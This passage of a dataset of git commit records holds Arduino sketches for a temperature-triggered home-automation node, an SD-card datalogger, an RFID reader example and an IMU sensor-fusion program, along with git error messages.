1 (VCC) do sensor (Apenas se quiser aumentar a precis\u00e3o)\n\/\/ Conecte o pino positivo do LED que sinalizar\u00e1 que o ar est\u00e1 ligado no pino PINO_LED_AR\n\n#include \"DHT.h\"\n\n#define TIPO_SENSOR DHT11\n#define PINO_SENSOR_TEMP A1\n#define TEMPERATURA_ACIONAMENTO 25.0\n#define PINO_LED_AR 2\n#define TP_AR_TEMPERATURA \"casa\/ar\/temperatura\"\n#define TP_AR_STATUS \"casa\/ar\/status\"\n\n\/\/float temperatura;\nboolean aciona_ar = false;\n\nDHT dht(PINO_SENSOR_TEMP, TIPO_SENSOR);\n\n\n\/\/ Configura\u00e7\u00f5es da funcionalidade 02 - Acionamento autom\u00e1tico das luzes da garagem\n\n\n\n\/\/ Configura\u00e7\u00f5es da funcionalidade 03 - Alarme com utiliza\u00e7\u00e3o de sensor de movimento\n\n\nvoid setup() {\n Serial.begin(9600);\n\n conectar_ethernet();\n\n conectar_mosquitto();\n\n \/\/ Setup da funcionalidade 01\n setup_ar();\n}\n\nvoid loop() {\n ler_temperatura();\n Narcoleptic.delay(1000);\n}\n\n\n\/\/ M\u00e9todos da funcionalidade 01\n\nvoid setup_ar() {\n pinMode(PINO_SENSOR_TEMP, INPUT);\n pinMode(PINO_LED_AR, OUTPUT);\n dht.begin();\n}\n\nvoid ler_temperatura() {\n float temperatura = dht.readTemperature();\n \/\/ testa se retorno \u00e9 valido, caso contr\u00e1rio algo est\u00e1 errado.\n if (isnan(temperatura)) {\n Serial.println(\"Failed to read from DHT\");\n } \n else {\n Serial.print(\"Temperatura: \");\n Serial.println(temperatura);\n if (temperatura > TEMPERATURA_ACIONAMENTO) {\n Serial.print(\"Temperatura > \");\n Serial.println(TEMPERATURA_ACIONAMENTO);\n digitalWrite(PINO_LED_AR, HIGH);\n } else {\n digitalWrite(PINO_LED_AR, LOW);\n }\n }\n}\n\n\n\/\/ M\u00e9todos auxiliares\n\nvoid conectar_mosquitto() {\n client.setServer(server, PORTA_MQTT);\n\n while (!client.connected()) {\n Serial.print(\"Tentando conexao com mosquitto...\");\n if (client.connect(\"casa\")) {\n Serial.println(\" conectado!\");\n } else {\n Serial.print(\"failed, rc=\");\n Serial.print(client.state());\n Serial.println(\" try again in 5 seconds\");\n }\n Narcoleptic.delay(TEMPO_NOVA_TENTATIVA);\n }\n}\n\nvoid conectar_ethernet() {\n while (!Ethernet.begin(mac)) {\n Serial.print(\"Tentando conexao com Ethernet Shield utilizando DHCP... \");\n Narcoleptic.delay(TEMPO_NOVA_TENTATIVA);\n }\n printIPAddress();\n}\n\nvoid printIPAddress() {\n Serial.print(\"Meu IP: \");\n for (byte thisByte = 0; thisByte < 4; thisByte++) {\n Serial.print(Ethernet.localIP()[thisByte], DEC);\n Serial.print(\".\");\n }\n Serial.println();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/casa_inteligente\/casa_inteligente.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e9b0d90b50c02908b19482b1fa582bf2129e1d7d","subject":"added example for measuring voltage DC 0..25","message":"added example for measuring voltage DC 0..25\n","repos":"fisher\/sketchbook,fisher\/sketchbook","old_file":"measuring_voltage\/measuring_voltage.ino","new_file":"measuring_voltage\/measuring_voltage.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/fisher\/sketchbook.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"77615d691a021c543d1298d3384efb1638202d2b","subject":"Added basic handling of door sensor code","message":"Added basic handling of door sensor code\n","repos":"mcrosson\/arduino_safe_lighting,mcrosson\/arduino_safe_lighting","old_file":"src\/src.ino","new_file":"src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mcrosson\/arduino_safe_lighting.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ad1042386192622443fa91f1ff3dffd6af30dfd5","subject":"Easter egg","message":"Easter egg\n","repos":"jamesbowman\/gd1,jamesbowman\/gd1,jamesbowman\/gd1","old_file":"easteregg.ino","new_file":"easteregg.ino","new_contents":"#include <SPI.h>\nvoid setup() {\n delay(10000);\n pinMode(9, OUTPUT);\n digitalWrite(9, HIGH);\n SPI.begin();\n digitalWrite(9, LOW);\n SPI.transfer(0xa8);\n SPI.transfer(0x99);\n SPI.transfer(0x73);\n digitalWrite(9, HIGH);\n}\nvoid loop() { }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'easteregg.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"d32109377c42faf47ced2764b77ef245970ac0c0","subject":"Se a\u00f1ade proyecto dataloger","message":"Se a\u00f1ade proyecto dataloger\n","repos":"codigoelectronica\/arduino_code,codigoelectronica\/arduino_code,codigoelectronica\/arduino_code","old_file":"datalogger\/datalogger.ino","new_file":"datalogger\/datalogger.ino","new_contents":"\/*Reloj de tiempo real con DS1307 en arduino\n*\n* Copyright: codigoelectronica.com\n* Author: Oscar Fernandez\n* License: MIT\n*\/\n\n\/\/Cargamos librerias\n#include <Time.h>\n#include <Wire.h>\n#include <DS1307RTC.h>\n#include <TimeAlarms.h>\n#include <SPI.h>\n#include <SD.h>\n\nString date = \"\", dateTime = \"\", time = \"\", timeDate = \"\";\nconst int chipSelect = 4;\n\n\n\/\/Iniciamos el programa\nvoid setup () {\n \/\/Configuramos el serial\n Serial.begin(9600);\n pinMode(10, OUTPUT);\n \/\/actualizamos la hora\n if (!SD.begin(chipSelect)) {\n Serial.println(\"Card failed, or not present\");\n \/\/ don't do anything more:\n return;\n }\n setSyncProvider(RTC.get);\n\n UpdateTime();\n Alarm.timerRepeat(3600, RepeatsHour);\n Alarm.timerRepeat(15, SaveSD);\n}\n\nvoid loop () {\n digitalClockDisplay();\n \n Alarm.delay(1000);\n}\n\nvoid SaveSD(){\n String dataString = \"\";\n clockDisplayRTC();\n clockDisplayTime();\n int sensor = analogRead(0);\n float sens = ((sensor * 5.0) \/ 1024)*10;\n dataString += dateTime+\",\"+String(sens)+\",\"+timeDate;\n \n File dataFile = SD.open(\"datalog.txt\",FILE_WRITE);\n\n \/\/ if the file is available, write to it:\n if (dataFile) {\n dataFile.println(dataString);\n dataFile.close();\n \/\/ print to the serial port too:\n Serial.println(dataString);\n digitalWrite(1, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(100); \/\/ wait for a second\n digitalWrite(1, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(100); \n }\n \/\/ if the file isn't open, pop up an error:\n else {\n Serial.println(\"error opening datalog.txt\");\n }\n}\n\nvoid RepeatsHour(){\n digitalWrite(0, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(100); \/\/ wait for a second\n digitalWrite(0, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(100); \n Serial.println(\"15 second timer\");\n}\nvoid UpdateTime() {\n tmElements_t tm;\n RTC.read(tm);\n setTime(tm.Hour, tm.Minute, tm.Second, tm.Day, tm.Month, tmYearToCalendar(tm.Year));\n}\n\nvoid clockDisplayRTC() {\n dateTime = \"\";\n tmElements_t tm;\n RTC.read(tm);\n date = String(tmYearToCalendar(tm.Year)) + \"\/\" + String(tm.Month) + \"\/\" + String(tm.Day);\n time = String(tm.Hour) + \":\" + String(tm.Minute) + \":\" + String(tm.Second);\n dateTime = date + \" \" + time;\n Serial.print(dateTime);\n Serial.println();\n}\n\nvoid clockDisplayTime() {\n timeDate = \"\";\n \/\/ digital clock display of the time\n timeDate += String(year())+\"\/\"+String(month())+\"\/\"+String(day())+\" \"+String(hour())+\":\"+String(minute())+\":\"+String(second());\n Serial.println(timeDate);\n}\n\nvoid printDigits(int digits) {\n \/\/ utility function for digital clock display: prints preceding colon and leading 0\n Serial.print(\":\");\n if (digits < 10)\n Serial.print('0');\n Serial.print(digits);\n}\nvoid digitalClockDisplay()\n{\n \/\/ digital clock display of the time\n Serial.print(hour());\n printDigits(minute());\n printDigits(second());\n Serial.println(); \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'datalogger\/datalogger.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1eced80a725b325bf4d791d1efed03c5ed2b8c30","subject":"add approximation and new test","message":"add approximation and new test\n","repos":"dave-ausbone\/TJU-SST,dave-ausbone\/TJU-SST,dave-ausbone\/TJU-SST","old_file":"ex01\/ex01.ino","new_file":"ex01\/ex01.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/dave-ausbone\/TJU-SST.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"47d0214fa03535f2e75f4f63ceac889ebe5df902","subject":"Quick little app to test all the non LED section of the Encabulator.","message":"Quick little app to test all the non LED section of the Encabulator.\n","repos":"tectronics\/turbull-encabulator,tectronics\/turbull-encabulator,tectronics\/turbull-encabulator","old_file":"Encabulator\/examples\/SensorTest\/SensorTest.ino","new_file":"Encabulator\/examples\/SensorTest\/SensorTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tectronics\/turbull-encabulator.git\/'\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"1489202f7e4067c783c9855f40e3b3db7806dcf4","subject":"test new exploration","message":"test new exploration\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration use IR sensor to turn\/src\/main.ino","new_file":"exploration use IR sensor to turn\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'use' did not match any file(s) known to git\nerror: pathspec 'IR' did not match any file(s) known to git\nerror: pathspec 'sensor' did not match any file(s) known to git\nerror: pathspec 'to' did not match any file(s) known to git\nerror: pathspec 'turn\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8e13cfe9f8ac4df9f83a41a53c71c6dda329e037","subject":"rfid C code added to project","message":"rfid C code added to project\n","repos":"hrahal\/arduino-assets","old_file":"Addicore_RFID_Example_test.ino","new_file":"Addicore_RFID_Example_test.ino","new_contents":"\/\/ Example sketch to read the ID from an Addicore 13.56MHz RFID tag\n\/\/ as found in the RFID AddiKit found at: \n\/\/ http:\/\/www.addicore.com\/RFID-AddiKit-with-RC522-MIFARE-Module-RFID-Cards-p\/126.htm\n\n#include <AddicoreRFID.h>\n#include <SPI.h>\n\n#define\tuchar\tunsigned char\n#define\tuint\tunsigned int\n\n\/\/4 bytes tag serial number, the first 5 bytes for the checksum byte\nuchar serNumA[5];\n\nuchar fifobytes;\nuchar fifoValue;\n\nAddicoreRFID myRFID; \/\/ create AddicoreRFID object to control the RFID module\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/set the pins\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nconst int chipSelectPin = 10;\nconst int NRSTPD = 5;\n\n\/\/Maximum length of the array\n#define MAX_LEN 16\n\nvoid setup() { \n Serial.begin(9600); \/\/ RFID reader SOUT pin connected to Serial RX pin at 9600bps \n \n \/\/ start the SPI library:\n SPI.begin();\n \n pinMode(chipSelectPin,OUTPUT); \/\/ Set digital pin 10 as OUTPUT to connect it to the RFID \/ENABLE pin \n digitalWrite(chipSelectPin, LOW); \/\/ Activate the RFID reader\n pinMode(NRSTPD,OUTPUT); \/\/ Set digital pin 10 , Not Reset and Power-down\n digitalWrite(NRSTPD, HIGH);\n\n myRFID.AddicoreRFID_Init(); \n}\n\nvoid loop()\n{\n \tuchar i, tmp, checksum1;\n\tuchar status;\n uchar str[MAX_LEN];\n uchar RC_size;\n uchar blockAddr;\t\/\/Selection operation block address 0 to 63\n String mynum = \"\";\n\n str[1] = 0x4400;\n\t\/\/Find tags, return tag type\n\tstatus = myRFID.AddicoreRFID_Request(PICC_REQIDL, str);\t\n\tif (status == MI_OK)\n\t{\n \/\/Serial.println(\"RFID tag detected\");\n \t Serial.print(str[0],BIN);\n Serial.print(\" , \");\n \t Serial.print(str[1],BIN);\n Serial.println(\" \");\n\t}\n\n\t\/\/Anti-collision, return tag serial number 4 bytes\n\tstatus = myRFID.AddicoreRFID_Anticoll(str);\n\tif (status == MI_OK)\n\t{\n checksum1 = str[0] ^ str[1] ^ str[2] ^ str[3];\n \/\/Serial.println(\"The tag's number is : \");\n \t \/\/Serial.print(2);\n \t Serial.print(str[0]);\n Serial.print(\" , \");\n \t Serial.print(str[1],BIN);\n Serial.print(\" , \");\n \t Serial.print(str[2],BIN);\n Serial.print(\" , \");\n \t Serial.print(str[3],BIN);\n Serial.print(\" , \");\n \t Serial.print(str[4],BIN);\n \/\/Serial.print(\" , \");\n Serial.println(checksum1,BIN);\n \n \/\/ Should really check all pairs, but for now we'll just use the first\n if(str[0] == 21) \/\/You can change this to the first byte of your tag by finding the card's ID through the Serial Monitor\n {\n \/\/Serial.print(\"Hello Craig!\\n\");\n } else if(str[0] == 244) { \/\/You can change this to the first byte of your tag by finding the card's ID through the Serial Monitor\n Serial.print(\"Hello Erin!\\n\");\n }\n Serial.println();\n Serial.write(\"user: \",checksum1);\n delay(1000);\n\t}\n\t\t\n myRFID.AddicoreRFID_Halt();\t\t \/\/Command tag into hibernation \n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Addicore_RFID_Example_test.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"abaec368f5f40353fface01f10edc1949689b81c","subject":"Add script with IMU and ultrasonic sensor","message":"Add script with IMU and ultrasonic sensor\n","repos":"baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite,baptistelabat\/robokite","old_file":"Arduino\/ultrasonic_IMU\/ultrasonic_IMU.ino","new_file":"Arduino\/ultrasonic_IMU\/ultrasonic_IMU.ino","new_contents":"#include \"Ultrasonic.h\"\nUltrasonic ultrasonic1(8,9);\nUltrasonic ultrasonic2(10,11);\nUltrasonic ultrasonic3(12,13);\nconst int alimPin1 = 6; \/\/ the number of the LED pin\nconst int alimPin2 = 7; \/\/ the number of the LED pin\n\ndouble d1,d2,d3;\ndouble distance_cm = 25;\n\/*****************************************************************\nMPU9150_AHRS_directdata.ino\nSFE_MPU9150 Library AHRS Data Fusion Example Code\nKris Winer for Sparkfun Electronics\nOriginal Creation Date: April 8, 2014\nhttps:\/\/github.com\/sparkfun\/MPU9150_Breakout\n\nThe MPU9150 is a versatile 9DOF sensor. It has a built-in\naccelerometer, gyroscope, and magnetometer that\nfunctions over I2C. It is very similar to the 6 DoF MPU6050 for which an extensive library has already been built.\nMost of the function of the MPU9150 can utilize the MPU6050 library.\n\nThis Arduino sketch utilizes Jeff Rowberg's MPU6050 library to generate the basic sensor data\nfor use in two sensor fusion algorithms becoming increasingly popular with DIY quadcopter and robotics engineers. \nI have added and slightly modified Jeff's library here.\n\nThis simple sketch will demo the following:\n* How to create a MPU6050 object, using a constructor (global variables section).\n* How to use the initialize() function of the MPU6050 class.\n* How to read the gyroscope, accelerometer, and magnetometer\n using the readAcceleration(), readRotation(), and readMag() functions and the\n gx, gy, gz, ax, ay, az, mx, my, and mz variables.\n* How to calculate actual acceleration, rotation speed, magnetic\n field strength using the specified ranges as described in the data sheet:\n http:\/\/dlnmh9ip6v2uc.cloudfront.net\/datasheets\/Sensors\/IMU\/PS-MPU-9150A.pdf\n and\n http:\/\/dlnmh9ip6v2uc.cloudfront.net\/datasheets\/Sensors\/IMU\/RM-MPU-9150A-00.pdf.\n \nIn addition, the sketch will demo:\n* How to check for data updates using the data ready status register\n* How to display output at a rate different from the sensor data update and fusion filter update rates\n* How to specify the accelerometer and gyro sampling and bandwidth rates\n* How to use the data from the MPU9150 to fuse the sensor data into a quaternion representation of the sensor frame\n orientation relative to a fixed Earth frame providing absolute orientation information for subsequent use.\n* An example of how to use the quaternion data to generate standard aircraft orientation data in the form of\n Tait-Bryan angles representing the sensor yaw, pitch, and roll angles suitable for any vehicle stablization control application.\n\nHardware setup: This library supports communicating with the\nMPU9150 over I2C. These are the only connections that need to be made:\n\tMPU9150 --------- Arduino\n\t SCL ---------- SCL (A5 on older 'Duinos')\n\t SDA ---------- SDA (A4 on older 'Duinos')\n\t VDD ------------- 3.3V\n\t GND ------------- GND\n\nThe LSM9DS0 has a maximum voltage of 3.5V. Make sure you power it\noff the 3.3V rail! And either use level shifters between SCL\nand SDA or just use a 3.3V Arduino Pro.\t \n\nDevelopment environment specifics:\n\tIDE: Arduino 1.0.5\n\tHardware Platform: Arduino Pro 3.3V\/8MHz\n\tMPU9150 Breakout Version: 1.0\n\nThis code is beerware. If you see me (or any other SparkFun \nemployee) at the local, and you've found our code helpful, please \nbuy us a round!\n\nDistributed as-is; no warranty is given.\n*****************************************************************\/\n\/*\nMS561101BA_altitude.pde - Computes altitude from sea level using pressure readings from the sensor.\nThe algorithm uses the Hypsometric formula as explained in http:\/\/keisan.casio.com\/has10\/SpecExec.cgi?path=06000000.Science%2F02100100.Earth%20science%2F12000300.Altitude%20from%20atmospheric%20pressure%2Fdefault.xml&charset=utf-8\n\nCopyright (C) 2011 Fabio Varesano <fvaresano@yahoo.it>\n\nDevelopment of this code has been supported by the Department of Computer Science,\nUniversita' degli Studi di Torino, Italy within the Piemonte Project\nhttp:\/\/www.piemonte.di.unito.it\/\n\n\nThis program is free software: you can redistribute it and\/or modify\nit under the terms of the version 3 GNU General Public License as\npublished by the Free Software Foundation.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n*\/\n\n#define USE_MAVLINK \/\/Uncomment this line to use mavlink\n#ifdef USE_MAVLINK\n #include \"MavlinkForArduino.h\" \/\/ Mavlink interface\n#endif\n\n#include <Wire.h>\n#include \"I2Cdev.h\" \/\/from https:\/\/github.com\/sparkfun\/MPU-9150_Breakout.git\n#include \"MPU6050_9Axis_MotionApps41.h\"\n#include <MS561101BA.h>\n\n#define OUTPUT_RATE_ms 50 \/\/ 20Hz\n\n#define MOVAVG_SIZE 32\n\n\/\/ Define corrections\/offsets for magnetometer\n#define LOCAL_DECLINATION_DEG -3 \/\/at Nantes, France is around 3 degrees in 2014\n#define MAG_1_OFFSET -7.0f\n#define MAG_2_OFFSET 75.0f\n#define MAG_3_OFFSET 117.0f\n#define ACC_1_OFFSET 0.0f\n#define ACC_2_OFFSET 0.0f\n#define ACC_3_OFFSET 0.0f\n#define GYRO_1_OFFSET -284.8f\n#define GYRO_2_OFFSET -161.0f\n#define GYRO_3_OFFSET 12.7f\n#define GYRO_RANGE_DEGPS 250.0f\n#define ACCEL_RANGE_G 2.0f\n#define MAG_RANGE_mG 12290.0f\/\/ milliGauss (1229 microTesla per 2^12 bits, 10 mG per microTesla)\n\n\/\/ class default I2C address is 0x68\n\/\/ specific I2C addresses may be passed as a parameter here\n\/\/ AD0 low = 0x68 (default for InvenSense evaluation board)\n\/\/ AD0 high = 0x69\nMPU6050 accelGyroMag(0x69);\n\n\/\/ global constants for 9 DoF fusion and AHRS (Attitude and Heading Reference System)\n#define GyroMeasError PI * (40.0f \/ 180.0f) \/\/ gyroscope measurement error in rads\/s (shown as 3 deg\/s)\n#define GyroMeasDrift PI * (0.0f \/ 180.0f) \/\/ gyroscope measurement drift in rad\/s\/s (shown as 0.0 deg\/s\/s)\n\/\/ There is a tradeoff in the beta parameter between accuracy and response speed.\n\/\/ In the original Madgwick study, beta of 0.041 (corresponding to GyroMeasError of 2.7 degrees\/s) was found to give optimal accuracy.\n\/\/ However, with this value, the LSM9SD0 response time is about 10 seconds to a stable initial quaternion.\n\/\/ Subsequent changes also require a longish lag time to a stable output, not fast enough for a quadcopter or robot car!\n\/\/ By increasing beta (GyroMeasError) by about a factor of fifteen, the response time constant is reduced to ~2 sec\n\/\/ I haven't noticed any reduction in solution accuracy. This is essentially the I coefficient in a PID control sense; \n\/\/ the bigger the feedback coefficient, the faster the solution converges, usually at the expense of accuracy. \n\/\/ In any case, this is the free parameter in the Madgwick filtering and fusion scheme.\n#define beta sqrt(3.0f \/ 4.0f) * GyroMeasError \/\/ compute beta\n#define zeta sqrt(3.0f \/ 4.0f) * GyroMeasDrift \/\/ compute zeta, the other free parameter in the Madgwick scheme usually set to a small or zero value\n#define Kp 2.0f * 5.0f \/\/ these are the free parameters in the Mahony filter and fusion scheme, Kp for proportional feedback, Ki for integral\n#define Ki 0.0f\n\n#define RAW 0\n#define FUSION 1\n#define DEBUG 2\nshort outputMode = FUSION;\n\n\/\/ String management\nString inputString = \"\"; \/\/ a string to hold incoming data\nboolean stringComplete = false; \/\/ whether the string is complete\n\n\nint16_t a1, a2, a3, g1, g2, g3, m1, m2, m3; \/\/ raw data arrays reading\nuint16_t last_output_ms = 0; \/\/ used to control display output rate\nuint16_t delt_t_ms = 0; \/\/ used to control display output rate\nuint8_t BaroRate; \/\/ read rate for magnetometer data\n\nfloat pitch, yaw, roll;\nfloat deltat_s = 0.0f; \/\/ integration interval for both filter schemes\nuint64_t lastUpdate_us = 0; \/\/ used to calculate integration interval\nuint64_t time_boot_us = 0; \/\/ used to calculate integration interval\n\nfloat ax_g, ay_g, az_g, gx_degps, gy_degps, gz_degps, mx, my, mz; \/\/ variables to hold latest sensor data values \nfloat q[4] = {1.0f, 0.0f, 0.0f, 0.0f}; \/\/ vector to hold quaternion\nfloat eInt[3] = {0.0f, 0.0f, 0.0f}; \/\/ vector to hold integral error for Mahony method\n\nuint8_t system_id = 100;\nuint8_t component_id = 200;\nuint32_t time_boot_ms;\nuint32_t last_baro_read_ms;\n\n\/\/MS5611\nMS561101BA baro = MS561101BA();\nfloat movavg_buff[MOVAVG_SIZE];\nint movavg_i=0;\n\nconst float sea_press = 1013.25;\nfloat ground_press;\nfloat press, temperature, altitude;\n\nshort n_gyro_range = 0;\nshort n_gyro_range_old = 0;\nshort n_accel_range = 0;\nshort n_accel_range_old = 0;\n\n#define PIN_5V_1 4\n#define PIN_0V_1 3\n\nvoid setup()\n{\n \/\/Alim for ultrasonic sensors\n pinMode(alimPin1, OUTPUT);\n pinMode(alimPin2, OUTPUT);\n digitalWrite(alimPin1, HIGH);\n digitalWrite(alimPin2, HIGH);\n \n \/\/pinMode(PIN_0V_1, OUTPUT);\n \/\/pinMode(PIN_5V_1, OUTPUT);\n \/\/digitalWrite(PIN_5V_1, HIGH);\n \/\/digitalWrite(PIN_0V_1, LOW);\n \n \/\/ join I2C bus (I2Cdev library doesn't do this automatically)\n Wire.begin();\n Serial.begin(57600); \/\/ Start serial at 57600 bps\n \/\/ Reserve bytes for the inputString:\n inputString.reserve(200);\n\n delay(2000); \n\n \/\/ initialize MPU6050 device\n Serial.println(F(\"Initializing I2C devices...\"));\n accelGyroMag.initialize();\n\n \/\/ verify connection\n Serial.println(F(\"Testing device connections...\"));\n Serial.println(accelGyroMag.testConnection() ? F(\"MPU9150 connection successful\") : F(\"MPU9150 connection failed\"));\n\n\/\/ Set up the accelerometer, gyro, and magnetometer for data output\n\n accelGyroMag.setRate(7); \/\/ set gyro rate to 8 kHz\/(1 + rate) shows 1 kHz, accelerometer ODR is fixed at 1 KHz\n\n BaroRate = 100;\n\n\/\/ Digital low pass filter configuration. \n\/\/ It also determines the internal sampling rate used by the device as shown in the table below.\n\/\/ The accelerometer output rate is fixed at 1kHz. This means that for a Sample\n\/\/ Rate greater than 1kHz, the same accelerometer sample may be output to the\n\/\/ FIFO, DMP, and sensor registers more than once.\n\/*\n * | ACCELEROMETER | GYROSCOPE\n * DLPF_CFG | Bandwidth | Delay | Bandwidth | Delay | Sample Rate\n * ---------+-----------+--------+-----------+--------+-------------\n * 0 | 260Hz | 0ms | 256Hz | 0.98ms | 8kHz\n * 1 | 184Hz | 2.0ms | 188Hz | 1.9ms | 1kHz\n * 2 | 94Hz | 3.0ms | 98Hz | 2.8ms | 1kHz\n * 3 | 44Hz | 4.9ms | 42Hz | 4.8ms | 1kHz\n * 4 | 21Hz | 8.5ms | 20Hz | 8.3ms | 1kHz\n * 5 | 10Hz | 13.8ms | 10Hz | 13.4ms | 1kHz\n * 6 | 5Hz | 19.0ms | 5Hz | 18.6ms | 1kHz\n *\/\n accelGyroMag.setDLPFMode(4); \/\/ set bandwidth of both gyro and accelerometer to ~20 Hz\n\n\/\/ Full-scale range of the gyro sensors:\n\/\/ 0 = +\/- 250 degrees\/sec, 1 = +\/- 500 degrees\/sec, 2 = +\/- 1000 degrees\/sec, 3 = +\/- 2000 degrees\/sec\n accelGyroMag.setFullScaleGyroRange(0); \/\/ set gyro range to 250 degrees\/sec\n\n\/\/ Full-scale accelerometer range.\n\/\/ The full-scale range of the accelerometer: 0 = +\/- 2g, 1 = +\/- 4g, 2 = +\/- 8g, 3 = +\/- 16g\n accelGyroMag.setFullScaleAccelRange(0); \/\/ set accelerometer to 2 g range\n\n \/\/accelGyroMag.setIntDataReadyEnabled(true); \/\/ enable data ready interrupt\n \n \/\/ Suppose that the CSB pin is connected to GND.\n \/\/ You'll have to check this on your breakout schematics\n baro.init(MS561101BA_ADDR_CSB_LOW); \n delay(100);\n \n \/\/ populate movavg_buff before starting loop\n for(int i=0; i<MOVAVG_SIZE; i++) {\n movavg_buff[i] = baro.getPressure(MS561101BA_OSR_4096);\n }\n}\n\/*\n SerialEvent occurs whenever a new data comes in the\n hardware serial RX. This routine is run between each\n time loop() runs, so using delay inside loop can delay\n response. Multiple bytes of data may be available.\n *\/\nvoid serialEvent()\n{\n while (Serial.available()) {\n \/\/ Get the new byte:\n char inChar = (char)Serial.read(); \n \/\/ Add it to the inputString:\n inputString += inChar;\n \/\/ If the incoming character is a newline, set a flag\n \/\/ so the main loop can do something about it:\n if (inChar == '\\n') {\n stringComplete = true;\n } \n }\n}\n\n\nvoid loop()\n{ \n \/\/digitalWrite(PIN_5V_1, HIGH);\n \/\/digitalWrite(PIN_0V_1, LOW);\n d1 = ultrasonic1.Ranging(CM);\n d2 = ultrasonic2.Ranging(CM);\n d3 = ultrasonic3.Ranging(CM);\n \n \/\/ground_press = baro.getPressure(MS561101BA_OSR_4096);\n processSerialInput();\n if (fabs(millis()-last_baro_read_ms)>1.\/BaroRate)\n {\n last_baro_read_ms = millis();\n getBaroData(); \n }\n automaticGyroRangeSelection();\n automaticAccelRangeSelection();\n\n if(accelGyroMag.getIntDataReadyStatus() == 1)\/\/ wait for data ready status register to update all data registers\n { \n \/\/ read the raw sensor data\n \/\/getMotion9 is not working properly for unknown reason\n \/\/accelGyroMag.getMotion9(&a1, &a1, &a3, &g1, &g2, &g3, &m1, &m2, &m3);\n accelGyroMag.getAcceleration ( &a1, &a2, &a3 );\n accelGyroMag.getRotation ( &g1, &g2, &g3 );\n accelGyroMag.getMag ( &m1, &m2, &m3 );\n a2 = -a2;\/\/ Invert y to get NED classical convention\n a1 = a1 + ACC_1_OFFSET;\n a2 = a2 + ACC_2_OFFSET;\n a3 = a3 + ACC_3_OFFSET;\n ax_g = a1*ACCEL_RANGE_G*pow(2.0, n_accel_range)\/pow(2.0, 15);\n ay_g = a2*ACCEL_RANGE_G*pow(2.0, n_accel_range)\/pow(2.0, 15);\n az_g = a3*ACCEL_RANGE_G*pow(2.0, n_accel_range)\/pow(2.0, 15); \n \n g1 = -g1;\n g3 = -g3;\n g1 = g1 + GYRO_1_OFFSET;\n g2 = g2 + GYRO_2_OFFSET;\n g3 = g3 + GYRO_3_OFFSET;\n gx_degps = g1*GYRO_RANGE_DEGPS*pow(2.0, n_gyro_range)\/pow(2.0, 15);\n gy_degps = g2*GYRO_RANGE_DEGPS*pow(2.0, n_gyro_range)\/pow(2.0, 15);\n gz_degps = g3*GYRO_RANGE_DEGPS*pow(2.0, n_gyro_range)\/pow(2.0, 15);\n \/\/ The gyros and accelerometers can in principle be calibrated in addition to any factory calibration but they are generally\n \/\/ pretty accurate. You can check the accelerometer by making sure the reading is +1 g in the positive direction for each axis.\n \/\/ The gyro should read zero for each axis when the sensor is at rest. Small or zero adjustment should be needed for these sensors.\n \/\/ The magnetometer is a different thing. Most magnetometers will be sensitive to circuit currents, computers, and \n \/\/ other both man-made and natural sources of magnetic field. The rough way to calibrate the magnetometer is to record\n \/\/ the maximum and minimum readings (generally achieved at the North magnetic direction). The average of the sum divided by 